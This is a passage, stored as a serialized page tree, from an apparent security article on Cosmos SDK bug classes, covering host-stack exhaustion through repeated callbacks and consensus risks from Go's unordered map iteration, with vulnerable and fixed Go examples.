,{"type":24,"tag":147,"props":82742,"children":82743},{"class":149,"line":281},[82744],{"type":24,"tag":147,"props":82745,"children":82746},{"style":235},[82747],{"type":29,"value":1952},{"type":24,"tag":147,"props":82749,"children":82750},{"class":149,"line":299},[82751,82756,82760,82764,82768,82772,82776,82780,82785,82789,82793,82797,82801],{"type":24,"tag":147,"props":82752,"children":82753},{"style":229},[82754],{"type":29,"value":82755},"    write_region",{"type":24,"tag":147,"props":82757,"children":82758},{"style":235},[82759],{"type":29,"value":480},{"type":24,"tag":147,"props":82761,"children":82762},{"style":241},[82763],{"type":29,"value":485},{"type":24,"tag":147,"props":82765,"children":82766},{"style":247},[82767],{"type":29,"value":41291},{"type":24,"tag":147,"props":82769,"children":82770},{"style":241},[82771],{"type":29,"value":87},{"type":24,"tag":147,"props":82773,"children":82774},{"style":229},[82775],{"type":29,"value":81556},{"type":24,"tag":147,"props":82777,"children":82778},{"style":235},[82779],{"type":29,"value":23982},{"type":24,"tag":147,"props":82781,"children":82782},{"style":247},[82783],{"type":29,"value":82784},"target_ptr",{"type":24,"tag":147,"props":82786,"children":82787},{"style":235},[82788],{"type":29,"value":546},{"type":24,"tag":147,"props":82790,"children":82791},{"style":247},[82792],{"type":29,"value":13992},{"type":24,"tag":147,"props":82794,"children":82795},{"style":235},[82796],{"type":29,"value":8758},{"type":24,"tag":147,"props":82798,"children":82799},{"style":241},[82800],{"type":29,"value":8785},{"type":24,"tag":147,"props":82802,"children":82803},{"style":235},[82804],{"type":29,"value":432},{"type":24,"tag":147,"props":82806,"children":82807},{"class":149,"line":308},[82808,82812,82816,82820],{"type":24,"tag":147,"props":82809,"children":82810},{"style":9044},[82811],{"type":29,"value":19947},{"type":24,"tag":147,"props":82813,"children":82814},{"style":235},[82815],{"type":29,"value":480},{"type":24,"tag":147,"props":82817,"children":82818},{"style":247},[82819],{"type":29,"value":82784},{"type":24,"tag":147,"props":82821,"children":82822},{"style":235},[82823],{"type":29,"value":269},{"type":24,"tag":147,"props":82825,"children":82826},{"class":149,"line":317},[82827],{"type":24,"tag":147,"props":82828,"children":82829},{"style":235},[82830],{"type":29,"value":827},{"type":24,"tag":25,"props":82832,"children":82833},{},[82834,82836,82842,82844,82849],{"type":29,"value":82835},"As users have complete control over ",{"type":24,"tag":80,"props":82837,"children":82839},{"className":82838},[],[82840],{"type":29,"value":82841},"allocate",{"type":29,"value":82843},", there is a possibility to call back ",{"type":24,"tag":80,"props":82845,"children":82847},{"className":82846},[],[82848],{"type":29,"value":82304},{"type":29,"value":82850}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":24,"tag":25,"props":82852,"children":82853},{},[82854,82856,82863],{"type":29,"value":82855},"Additional real-world examples include ",{"type":24,"tag":2773,"props":82857,"children":82860},{"href":82858,"rel":82859},"https://github.com/cosmos/cosmos-sdk/issues/16676",[2777],[82861],{"type":29,"value":82862},"not returning proper values for malformed txs",{"type":29,"value":87},{"type":24,"tag":32,"props":82865,"children":82867},{"id":82866},"order-was-the-dream-of-man",[82868],{"type":29,"value":82869},"Order Was the Dream of Man",{"type":24,"tag":25,"props":82871,"children":82872},{},[82873],{"type":29,"value":82874},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":24,"tag":25,"props":82876,"children":82877},{},[82878],{"type":29,"value":82879},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":24,"tag":137,"props":82881,"children":82883},{"code":82882,"language":81748,"meta":7,"className":81749,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[82884],{"type":24,"tag":80,"props":82885,"children":82886},{"__ignoreMap":7},[82887,82920,82927,82956,82993,83022,83043,83055,83092,83100,83107,83114],{"type":24,"tag":147,"props":82888,"children":82889},{"class":149,"line":150},[82890,82894,82899,82903,82907,82911,82915],{"type":24,"tag":147,"props":82891,"children":82892},{"style":218},[82893],{"type":29,"value":38357},{"type":24,"tag":147,"props":82895,"children":82896},{"style":9044},[82897],{"type":29,"value":82898}," ObjectMap",{"type":24,"tag":147,"props":82900,"children":82901},{"style":218},[82902],{"type":29,"value":55266},{"type":24,"tag":147,"props":82904,"children":82905},{"style":235},[82906],{"type":29,"value":9358},{"type":24,"tag":147,"props":82908,"children":82909},{"style":9044},[82910],{"type":29,"value":35267},{"type":24,"tag":147,"props":82912,"children":82913},{"style":235},[82914],{"type":29,"value":21023},{"type":24,"tag":147,"props":82916,"children":82917},{"style":9044},[82918],{"type":29,"value":82919},"string\n",{"type":24,"tag":147,"props":82921,"children":82922},{"class":149,"line":160},[82923],{"type":24,"tag":147,"props":82924,"children":82925},{"emptyLinePlaceholder":16},[82926],{"type":29,"value":314},{"type":24,"tag":147,"props":82928,"children":82929},{"class":149,"line":169},[82930,82934,82939,82943,82948,82952],{"type":24,"tag":147,"props":82931,"children":82932},{"style":218},[82933],{"type":29,"value":81884},{"type":24,"tag":147,"props":82935,"children":82936},{"style":229},[82937],{"type":29,"value":82938}," EmitEntries",{"type":24,"tag":147,"props":82940,"children":82941},{"style":235},[82942],{"type":29,"value":480},{"type":24,"tag":147,"props":82944,"children":82945},{"style":247},[82946],{"type":29,"value":82947},"objectMap",{"type":24,"tag":147,"props":82949,"children":82950},{"style":9044},[82951],{"type":29,"value":82898},{"type":24,"tag":147,"props":82953,"children":82954},{"style":235},[82955],{"type":29,"value":505},{"type":24,"tag":147,"props":82957,"children":82958},{"class":149,"line":178},[82959,82963,82967,82971,82975,82979,82984,82989],{"type":24,"tag":147,"props":82960,"children":82961},{"style":321},[82962],{"type":29,"value":324},{"type":24,"tag":147,"props":82964,"children":82965},{"style":247},[82966],{"type":29,"value":11556},{"type":24,"tag":147,"props":82968,"children":82969},{"style":235},[82970],{"type":29,"value":546},{"type":24,"tag":147,"props":82972,"children":82973},{"style":247},[82974],{"type":29,"value":5037},{"type":24,"tag":147,"props":82976,"children":82977},{"style":241},[82978],{"type":29,"value":82000},{"type":24,"tag":147,"props":82980,"children":82981},{"style":321},[82982],{"type":29,"value":82983}," range",{"type":24,"tag":147,"props":82985,"children":82986},{"style":247},[82987],{"type":29,"value":82988}," objectMap",{"type":24,"tag":147,"props":82990,"children":82991},{"style":235},[82992],{"type":29,"value":6630},{"type":24,"tag":147,"props":82994,"children":82995},{"class":149,"line":187},[82996,83000,83004,83009,83013,83018],{"type":24,"tag":147,"props":82997,"children":82998},{"style":247},[82999],{"type":29,"value":31787},{"type":24,"tag":147,"props":83001,"children":83002},{"style":235},[83003],{"type":29,"value":87},{"type":24,"tag":147,"props":83005,"children":83006},{"style":247},[83007],{"type":29,"value":83008},"EventManager",{"type":24,"tag":147,"props":83010,"children":83011},{"style":235},[83012],{"type":29,"value":87},{"type":24,"tag":147,"props":83014,"children":83015},{"style":229},[83016],{"type":29,"value":83017},"EmitEvent",{"type":24,"tag":147,"props":83019,"children":83020},{"style":235},[83021],{"type":29,"value":9088},{"type":24,"tag":147,"props":83023,"children":83024},{"class":149,"line":196},[83025,83030,83034,83039],{"type":24,"tag":147,"props":83026,"children":83027},{"style":247},[83028],{"type":29,"value":83029},"            sdk",{"type":24,"tag":147,"props":83031,"children":83032},{"style":235},[83033],{"type":29,"value":87},{"type":24,"tag":147,"props":83035,"children":83036},{"style":229},[83037],{"type":29,"value":83038},"NewEvent",{"type":24,"tag":147,"props":83040,"children":83041},{"style":235},[83042],{"type":29,"value":9088},{"type":24,"tag":147,"props":83044,"children":83045},{"class":149,"line":205},[83046,83051],{"type":24,"tag":147,"props":83047,"children":83048},{"style":3534},[83049],{"type":29,"value":83050},"                \"MapContext\"",{"type":24,"tag":147,"props":83052,"children":83053},{"style":235},[83054],{"type":29,"value":1549},{"type":24,"tag":147,"props":83056,"children":83057},{"class":149,"line":214},[83058,83063,83067,83072,83076,83080,83084,83088],{"type":24,"tag":147,"props":83059,"children":83060},{"style":247},[83061],{"type":29,"value":83062},"                sdk",{"type":24,"tag":147,"props":83064,"children":83065},{"style":235},[83066],{"type":29,"value":87},{"type":24,"tag":147,"props":83068,"children":83069},{"style":229},[83070],{"type":29,"value":83071},"NewAttribute",{"type":24,"tag":147,"props":83073,"children":83074},{"style":235},[83075],{"type":29,"value":480},{"type":24,"tag":147,"props":83077,"children":83078},{"style":247},[83079],{"type":29,"value":77738},{"type":24,"tag":147,"props":83081,"children":83082},{"style":235},[83083],{"type":29,"value":546},{"type":24,"tag":147,"props":83085,"children":83086},{"style":247},[83087],{"type":29,"value":5037},{"type":24,"tag":147,"props":83089,"children":83090},{"style":235},[83091],{"type":29,"value":12362},{"type":24,"tag":147,"props":83093,"children":83094},{"class":149,"line":272},[83095],{"type":24,"tag":147,"props":83096,"children":83097},{"style":235},[83098],{"type":29,"value":83099},"            )\n",{"type":24,"tag":147,"props":83101,"children":83102},{"class":149,"line":281},[83103],{"type":24,"tag":147,"props":83104,"children":83105},{"style":235},[83106],{"type":29,"value":73903},{"type":24,"tag":147,"props":83108,"children":83109},{"class":149,"line":299},[83110],{"type":24,"tag":147,"props":83111,"children":83112},{"style":235},[83113],{"type":29,"value":1952},{"type":24,"tag":147,"props":83115,"children":83116},{"class":149,"line":308},[83117],{"type":24,"tag":147,"props":83118,"children":83119},{"style":235},[83120],{"type":29,"value":827},{"type":24,"tag":25,"props":83122,"children":83123},{},[83124],{"type":29,"value":83125},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":24,"tag":98,"props":83127,"children":83128},{},[83129],{"type":24,"tag":25,"props":83130,"children":83131},{},[83132],{"type":29,"value":83133},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":24,"tag":25,"props":83135,"children":83136},{},[83137,83139,83144],{"type":29,"value":83138},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":24,"tag":80,"props":83140,"children":83142},{"className":83141},[],[83143],{"type":29,"value":72684},{"type":29,"value":83145}," and then fetch the values using the sorted key array before emitting them.",{"type":24,"tag":137,"props":83147,"children":83149},{"code":83148,"language":81748,"meta":7,"className":81749,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[83150],{"type":24,"tag":80,"props":83151,"children":83152},{"__ignoreMap":7},[83153,83184,83191,83218,83238,83265,83301,83308,83337,83344,83379,83406,83425,83436,83480,83487,83494,83501],{"type":24,"tag":147,"props":83154,"children":83155},{"class":149,"line":150},[83156,83160,83164,83168,83172,83176,83180],{"type":24,"tag":147,"props":83157,"children":83158},{"style":218},[83159],{"type":29,"value":38357},{"type":24,"tag":147,"props":83161,"children":83162},{"style":9044},[83163],{"type":29,"value":82898},{"type":24,"tag":147,"props":83165,"children":83166},{"style":218},[83167],{"type":29,"value":55266},{"type":24,"tag":147,"props":83169,"children":83170},{"style":235},[83171],{"type":29,"value":9358},{"type":24,"tag":147,"props":83173,"children":83174},{"style":9044},[83175],{"type":29,"value":35267},{"type":24,"tag":147,"props":83177,"children":83178},{"style":235},[83179],{"type":29,"value":21023},{"type":24,"tag":147,"props":83181,"children":83182},{"style":9044},[83183],{"type":29,"value":82919},{"type":24,"tag":147,"props":83185,"children":83186},{"class":149,"line":160},[83187],{"type":24,"tag":147,"props":83188,"children":83189},{"emptyLinePlaceholder":16},[83190],{"type":29,"value":314},{"type":24,"tag":147,"props":83192,"children":83193},{"class":149,"line":169},[83194,83198,83202,83206,83210,83214],{"type":24,"tag":147,"props":83195,"children":83196},{"style":218},[83197],{"type":29,"value":81884},{"type":24,"tag":147,"props":83199,"children":83200},{"style":229},[83201],{"type":29,"value":82938},{"type":24,"tag":147,"props":83203,"children":83204},{"style":235},[83205],{"type":29,"value":480},{"type":24,"tag":147,"props":83207,"children":83208},{"style":247},[83209],{"type":29,"value":82947},{"type":24,"tag":147,"props":83211,"children":83212},{"style":9044},[83213],{"type":29,"value":82898},{"type":24,"tag":147,"props":83215,"children":83216},{"style":235},[83217],{"type":29,"value":505},{"type":24,"tag":147,"props":83219,"children":83220},{"class":149,"line":178},[83221,83226,83230,83234],{"type":24,"tag":147,"props":83222,"children":83223},{"style":218},[83224],{"type":29,"value":83225},"    var",{"type":24,"tag":147,"props":83227,"children":83228},{"style":247},[83229],{"type":29,"value":26982},{"type":24,"tag":147,"props":83231,"children":83232},{"style":235},[83233],{"type":29,"value":81811},{"type":24,"tag":147,"props":83235,"children":83236},{"style":9044},[83237],{"type":29,"value":82919},{"type":24,"tag":147,"props":83239,"children":83240},{"class":149,"line":187},[83241,83245,83249,83253,83257,83261],{"type":24,"tag":147,"props":83242,"children":83243},{"style":321},[83244],{"type":29,"value":324},{"type":24,"tag":147,"props":83246,"children":83247},{"style":247},[83248],{"type":29,"value":11556},{"type":24,"tag":147,"props":83250,"children":83251},{"style":241},[83252],{"type":29,"value":82000},{"type":24,"tag":147,"props":83254,"children":83255},{"style":321},[83256],{"type":29,"value":82983},{"type":24,"tag":147,"props":83258,"children":83259},{"style":247},[83260],{"type":29,"value":82988},{"type":24,"tag":147,"props":83262,"children":83263},{"style":235},[83264],{"type":29,"value":6630},{"type":24,"tag":147,"props":83266,"children":83267},{"class":149,"line":196},[83268,83272,83276,83281,83285,83289,83293,83297],{"type":24,"tag":147,"props":83269,"children":83270},{"style":247},[83271],{"type":29,"value":30932},{"type":24,"tag":147,"props":83273,"children":83274},{"style":241},[83275],{"type":29,"value":651},{"type":24,"tag":147,"props":83277,"children":83278},{"style":229},[83279],{"type":29,"value":83280}," append",{"type":24,"tag":147,"props":83282,"children":83283},{"style":235},[83284],{"type":29,"value":480},{"type":24,"tag":147,"props":83286,"children":83287},{"style":247},[83288],{"type":29,"value":26585},{"type":24,"tag":147,"props":83290,"children":83291},{"style":235},[83292],{"type":29,"value":546},{"type":24,"tag":147,"props":83294,"children":83295},{"style":247},[83296],{"type":29,"value":77738},{"type":24,"tag":147,"props":83298,"children":83299},{"style":235},[83300],{"type":29,"value":269},{"type":24,"tag":147,"props":83302,"children":83303},{"class":149,"line":205},[83304],{"type":24,"tag":147,"props":83305,"children":83306},{"style":235},[83307],{"type":29,"value":1952},{"type":24,"tag":147,"props":83309,"children":83310},{"class":149,"line":214},[83311,83316,83320,83325,83329,83333],{"type":24,"tag":147,"props":83312,"children":83313},{"style":247},[83314],{"type":29,"value":83315},"    sort",{"type":24,"tag":147,"props":83317,"children":83318},{"style":235},[83319],{"type":29,"value":87},{"type":24,"tag":147,"props":83321,"children":83322},{"style":229},[83323],{"type":29,"value":83324},"Strings",{"type":24,"tag":147,"props":83326,"children":83327},{"style":235},[83328],{"type":29,"value":480},{"type":24,"tag":147,"props":83330,"children":83331},{"style":247},[83332],{"type":29,"value":26585},{"type":24,"tag":147,"props":83334,"children":83335},{"style":235},[83336],{"type":29,"value":269},{"type":24,"tag":147,"props":83338,"children":83339},{"class":149,"line":272},[83340],{"type":24,"tag":147,"props":83341,"children":83342},{"emptyLinePlaceholder":16},[83343],{"type":29,"value":314},{"type":24,"tag":147,"props":83345,"children":83346},{"class":149,"line":281},[83347,83351,83355,83359,83363,83367,83371,83375],{"type":24,"tag":147,"props":83348,"children":83349},{"style":321},[83350],{"type":29,"value":324},{"type":24,"tag":147,"props":83352,"children":83353},{"style":247},[83354],{"type":29,"value":8669},{"type":24,"tag":147,"props":83356,"children":83357},{"style":235},[83358],{"type":29,"value":546},{"type":24,"tag":147,"props":83360,"children":83361},{"style":247},[83362],{"type":29,"value":77738},{"type":24,"tag":147,"props":83364,"children":83365},{"style":241},[83366],{"type":29,"value":82000},{"type":24,"tag":147,"props":83368,"children":83369},{"style":321},[83370],{"type":29,"value":82983},{"type":24,"tag":147,"props":83372,"children":83373},{"style":247},[83374],{"type":29,"value":26982},{"type":24,"tag":147,"props":83376,"children":83377},{"style":235},[83378],{"type":29,"value":6630},{"type":24,"tag":147,"props":83380,"children":83381},{"class":149,"line":299},[83382,83386,83390,83394,83398,83402],{"type":24,"tag":147,"props":83383,"children":83384},{"style":247},[83385],{"type":29,"value":31787},{"type":24,"tag":147,"props":83387,"children":83388},{"style":235},[83389],{"type":29,"value":87},{"type":24,"tag":147,"props":83391,"children":83392},{"style":247},[83393],{"type":29,"value":83008},{"type":24,"tag":147,"props":83395,"children":83396},{"style":235},[83397],{"type":29,"value":87},{"type":24,"tag":147,"props":83399,"children":83400},{"style":229},[83401],{"type":29,"value":83017},{"type":24,"tag":147,"props":83403,"children":83404},{"style":235},[83405],{"type":29,"value":9088},{"type":24,"tag":147,"props":83407,"children":83408},{"class":149,"line":308},[83409,83413,83417,83421],{"type":24,"tag":147,"props":83410,"children":83411},{"style":247},[83412],{"type":29,"value":83029},{"type":24,"tag":147,"props":83414,"children":83415},{"style":235},[83416],{"type":29,"value":87},{"type":24,"tag":147,"props":83418,"children":83419},{"style":229},[83420],{"type":29,"value":83038},{"type":24,"tag":147,"props":83422,"children":83423},{"style":235},[83424],{"type":29,"value":9088},{"type":24,"tag":147,"props":83426,"children":83427},{"class":149,"line":317},[83428,83432],{"type":24,"tag":147,"props":83429,"children":83430},{"style":3534},[83431],{"type":29,"value":83050},{"type":24,"tag":147,"props":83433,"children":83434},{"style":235},[83435],{"type":29,"value":1549},{"type":24,"tag":147,"props":83437,"children":83438},{"class":149,"line":332},[83439,83443,83447,83451,83455,83459,83463,83467,83471,83475],{"type":24,"tag":147,"props":83440,"children":83441},{"style":247},[83442],{"type":29,"value":83062},{"type":24,"tag":147,"props":83444,"children":83445},{"style":235},[83446],{"type":29,"value":87},{"type":24,"tag":147,"props":83448,"children":83449},{"style":229},[83450],{"type":29,"value":83071},{"type":24,"tag":147,"props":83452,"children":83453},{"style":235},[83454],{"type":29,"value":480},{"type":24,"tag":147,"props":83456,"children":83457},{"style":247},[83458],{"type":29,"value":77738},{"type":24,"tag":147,"props":83460,"children":83461},{"style":235},[83462],{"type":29,"value":546},{"type":24,"tag":147,"props":83464,"children":83465},{"style":247},[83466],{"type":29,"value":82947},{"type":24,"tag":147,"props":83468,"children":83469},{"style":235},[83470],{"type":29,"value":9358},{"type":24,"tag":147,"props":83472,"children":83473},{"style":247},[83474],{"type":29,"value":77738},{"type":24,"tag":147,"props":83476,"children":83477},{"style":235},[83478],{"type":29,"value":83479},"]),\n",{"type":24,"tag":147,"props":83481,"children":83482},{"class":149,"line":350},[83483],{"type":24,"tag":147,"props":83484,"children":83485},{"style":235},[83486],{"type":29,"value":83099},{"type":24,"tag":147,"props":83488,"children":83489},{"class":149,"line":358},[83490],{"type":24,"tag":147,"props":83491,"children":83492},{"style":235},[83493],{"type":29,"value":73903},{"type":24,"tag":147,"props":83495,"children":83496},{"class":149,"line":397},[83497],{"type":24,"tag":147,"props":83498,"children":83499},{"style":235},[83500],{"type":29,"value":1952},{"type":24,"tag":147,"props":83502,"children":83503},{"class":149,"line":421},[83504],{"type":24,"tag":147,"props":83505,"children":83506},{"style":235},[83507],{"type":29,"value":827},{"type":24,"tag":25,"props":83509,"children":83510},{},[83511],{"type":29,"value":83512},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":24,"tag":43,"props":83514,"children":83516},{"id":83515},"real-world-examples-1",[83517],{"type":29,"value":82273},{"type":24,"tag":25,"props":83519,"children":83520},{},[83521,83523,83528,83530,83536,83538,83544,83546,83552],{"type":29,"value":83522},"Real-world examples of ",{"type":24,"tag":80,"props":83524,"children":83526},{"className":83525},[],[83527],{"type":29,"value":72684},{"type":29,"value":83529}," causing determinism problems can be found ",{"type":24,"tag":2773,"props":83531,"children":83534},{"href":83532,"rel":83533},"https://github.com/cosmos/cosmos-sdk/pull/12487",[2777],[83535],{"type":29,"value":8440},{"type":29,"value":83537},", specifically, where the result of ",{"type":24,"tag":80,"props":83539,"children":83541},{"className":83540},[],[83542],{"type":29,"value":83543},"buildCommitInfo",{"type":29,"value":83545}," is inconsistent due to iteration over the ",{"type":24,"tag":80,"props":83547,"children":83549},{"className":83548},[],[83550],{"type":29,"value":83551},"rs.stores",{"type":29,"value":83553}," map.",{"type":24,"tag":25,"props":83555,"children":83556},{},[83557],{"type":24,"tag":2773,"props":83558,"children":83561},{"href":83559,"rel":83560},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[2777],[83562],{"type":29,"value":82323},{"type":24,"tag":137,"props":83564,"children":83566},{"code":83565,"language":81748,"meta":7,"className":81749,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[83567],{"type":24,"tag":80,"props":83568,"children":83569},{"__ignoreMap":7},[83570,83607,83620,83648,83682,83727,83773,83781,83788,83833,83863,83892,83899,83906,83933,83955,83975,83982],{"type":24,"tag":147,"props":83571,"children":83572},{"class":149,"line":150},[83573,83577,83581,83586,83590,83595,83599,83603],{"type":24,"tag":147,"props":83574,"children":83575},{"style":218},[83576],{"type":29,"value":81884},{"type":24,"tag":147,"props":83578,"children":83579},{"style":235},[83580],{"type":29,"value":408},{"type":24,"tag":147,"props":83582,"children":83583},{"style":247},[83584],{"type":29,"value":83585},"rs ",{"type":24,"tag":147,"props":83587,"children":83588},{"style":241},[83589],{"type":29,"value":244},{"type":24,"tag":147,"props":83591,"children":83592},{"style":9044},[83593],{"type":29,"value":83594},"Store",{"type":24,"tag":147,"props":83596,"children":83597},{"style":235},[83598],{"type":29,"value":564},{"type":24,"tag":147,"props":83600,"children":83601},{"style":229},[83602],{"type":29,"value":83543},{"type":24,"tag":147,"props":83604,"children":83605},{"style":235},[83606],{"type":29,"value":9088},{"type":24,"tag":147,"props":83608,"children":83609},{"class":149,"line":160},[83610,83615],{"type":24,"tag":147,"props":83611,"children":83612},{"style":247},[83613],{"type":29,"value":83614},"    version",{"type":24,"tag":147,"props":83616,"children":83617},{"style":9044},[83618],{"type":29,"value":83619}," int64\n",{"type":24,"tag":147,"props":83621,"children":83622},{"class":149,"line":169},[83623,83627,83631,83635,83639,83644],{"type":24,"tag":147,"props":83624,"children":83625},{"style":235},[83626],{"type":29,"value":564},{"type":24,"tag":147,"props":83628,"children":83629},{"style":241},[83630],{"type":29,"value":244},{"type":24,"tag":147,"props":83632,"children":83633},{"style":9044},[83634],{"type":29,"value":11383},{"type":24,"tag":147,"props":83636,"children":83637},{"style":235},[83638],{"type":29,"value":87},{"type":24,"tag":147,"props":83640,"children":83641},{"style":9044},[83642],{"type":29,"value":83643},"CommitInfo",{"type":24,"tag":147,"props":83645,"children":83646},{"style":235},[83647],{"type":29,"value":6630},{"type":24,"tag":147,"props":83649,"children":83650},{"class":149,"line":178},[83651,83656,83660,83664,83668,83672,83677],{"type":24,"tag":147,"props":83652,"children":83653},{"style":247},[83654],{"type":29,"value":83655},"    storeInfos",{"type":24,"tag":147,"props":83657,"children":83658},{"style":241},[83659],{"type":29,"value":82000},{"type":24,"tag":147,"props":83661,"children":83662},{"style":235},[83663],{"type":29,"value":81811},{"type":24,"tag":147,"props":83665,"children":83666},{"style":9044},[83667],{"type":29,"value":11383},{"type":24,"tag":147,"props":83669,"children":83670},{"style":235},[83671],{"type":29,"value":87},{"type":24,"tag":147,"props":83673,"children":83674},{"style":9044},[83675],{"type":29,"value":83676},"StoreInfo",{"type":24,"tag":147,"props":83678,"children":83679},{"style":235},[83680],{"type":29,"value":83681},"{}\n",{"type":24,"tag":147,"props":83683,"children":83684},{"class":149,"line":187},[83685,83689,83693,83697,83701,83705,83709,83714,83718,83723],{"type":24,"tag":147,"props":83686,"children":83687},{"style":321},[83688],{"type":29,"value":324},{"type":24,"tag":147,"props":83690,"children":83691},{"style":247},[83692],{"type":29,"value":11556},{"type":24,"tag":147,"props":83694,"children":83695},{"style":235},[83696],{"type":29,"value":546},{"type":24,"tag":147,"props":83698,"children":83699},{"style":247},[83700],{"type":29,"value":11565},{"type":24,"tag":147,"props":83702,"children":83703},{"style":241},[83704],{"type":29,"value":82000},{"type":24,"tag":147,"props":83706,"children":83707},{"style":321},[83708],{"type":29,"value":82983},{"type":24,"tag":147,"props":83710,"children":83711},{"style":247},[83712],{"type":29,"value":83713}," rs",{"type":24,"tag":147,"props":83715,"children":83716},{"style":235},[83717],{"type":29,"value":87},{"type":24,"tag":147,"props":83719,"children":83720},{"style":247},[83721],{"type":29,"value":83722},"stores",{"type":24,"tag":147,"props":83724,"children":83725},{"style":235},[83726],{"type":29,"value":6630},{"type":24,"tag":147,"props":83728,"children":83729},{"class":149,"line":196},[83730,83734,83738,83742,83747,83751,83755,83760,83764,83769],{"type":24,"tag":147,"props":83731,"children":83732},{"style":321},[83733],{"type":29,"value":403},{"type":24,"tag":147,"props":83735,"children":83736},{"style":247},[83737],{"type":29,"value":11455},{"type":24,"tag":147,"props":83739,"children":83740},{"style":235},[83741],{"type":29,"value":87},{"type":24,"tag":147,"props":83743,"children":83744},{"style":229},[83745],{"type":29,"value":83746},"GetStoreType",{"type":24,"tag":147,"props":83748,"children":83749},{"style":235},[83750],{"type":29,"value":19658},{"type":24,"tag":147,"props":83752,"children":83753},{"style":241},[83754],{"type":29,"value":6600},{"type":24,"tag":147,"props":83756,"children":83757},{"style":247},[83758],{"type":29,"value":83759}," types",{"type":24,"tag":147,"props":83761,"children":83762},{"style":235},[83763],{"type":29,"value":87},{"type":24,"tag":147,"props":83765,"children":83766},{"style":247},[83767],{"type":29,"value":83768},"StoreTypeTransient",{"type":24,"tag":147,"props":83770,"children":83771},{"style":235},[83772],{"type":29,"value":6630},{"type":24,"tag":147,"props":83774,"children":83775},{"class":149,"line":205},[83776],{"type":24,"tag":147,"props":83777,"children":83778},{"style":321},[83779],{"type":29,"value":83780},"            continue\n",{"type":24,"tag":147,"props":83782,"children":83783},{"class":149,"line":214},[83784],{"type":24,"tag":147,"props":83785,"children":83786},{"style":235},[83787],{"type":29,"value":441},{"type":24,"tag":147,"props":83789,"children":83790},{"class":149,"line":272},[83791,83796,83800,83804,83808,83813,83817,83821,83825,83829],{"type":24,"tag":147,"props":83792,"children":83793},{"style":247},[83794],{"type":29,"value":83795},"        storeInfos",{"type":24,"tag":147,"props":83797,"children":83798},{"style":241},[83799],{"type":29,"value":651},{"type":24,"tag":147,"props":83801,"children":83802},{"style":229},[83803],{"type":29,"value":83280},{"type":24,"tag":147,"props":83805,"children":83806},{"style":235},[83807],{"type":29,"value":480},{"type":24,"tag":147,"props":83809,"children":83810},{"style":247},[83811],{"type":29,"value":83812},"storeInfos",{"type":24,"tag":147,"props":83814,"children":83815},{"style":235},[83816],{"type":29,"value":546},{"type":24,"tag":147,"props":83818,"children":83819},{"style":9044},[83820],{"type":29,"value":11383},{"type":24,"tag":147,"props":83822,"children":83823},{"style":235},[83824],{"type":29,"value":87},{"type":24,"tag":147,"props":83826,"children":83827},{"style":9044},[83828],{"type":29,"value":83676},{"type":24,"tag":147,"props":83830,"children":83831},{"style":235},[83832],{"type":29,"value":278},{"type":24,"tag":147,"props":83834,"children":83835},{"class":149,"line":281},[83836,83841,83846,83850,83854,83859],{"type":24,"tag":147,"props":83837,"children":83838},{"style":247},[83839],{"type":29,"value":83840},"            Name",{"type":24,"tag":147,"props":83842,"children":83843},{"style":235},[83844],{"type":29,"value":83845},":     ",{"type":24,"tag":147,"props":83847,"children":83848},{"style":247},[83849],{"type":29,"value":77738},{"type":24,"tag":147,"props":83851,"children":83852},{"style":235},[83853],{"type":29,"value":87},{"type":24,"tag":147,"props":83855,"children":83856},{"style":229},[83857],{"type":29,"value":83858},"Name",{"type":24,"tag":147,"props":83860,"children":83861},{"style":235},[83862],{"type":29,"value":9116},{"type":24,"tag":147,"props":83864,"children":83865},{"class":149,"line":299},[83866,83871,83875,83879,83883,83888],{"type":24,"tag":147,"props":83867,"children":83868},{"style":247},[83869],{"type":29,"value":83870},"            CommitId",{"type":24,"tag":147,"props":83872,"children":83873},{"style":235},[83874],{"type":29,"value":20943},{"type":24,"tag":147,"props":83876,"children":83877},{"style":247},[83878],{"type":29,"value":11565},{"type":24,"tag":147,"props":83880,"children":83881},{"style":235},[83882],{"type":29,"value":87},{"type":24,"tag":147,"props":83884,"children":83885},{"style":229},[83886],{"type":29,"value":83887},"LastCommitID",{"type":24,"tag":147,"props":83889,"children":83890},{"style":235},[83891],{"type":29,"value":9116},{"type":24,"tag":147,"props":83893,"children":83894},{"class":149,"line":308},[83895],{"type":24,"tag":147,"props":83896,"children":83897},{"style":235},[83898],{"type":29,"value":73780},{"type":24,"tag":147,"props":83900,"children":83901},{"class":149,"line":317},[83902],{"type":24,"tag":147,"props":83903,"children":83904},{"style":235},[83905],{"type":29,"value":1952},{"type":24,"tag":147,"props":83907,"children":83908},{"class":149,"line":332},[83909,83913,83917,83921,83925,83929],{"type":24,"tag":147,"props":83910,"children":83911},{"style":321},[83912],{"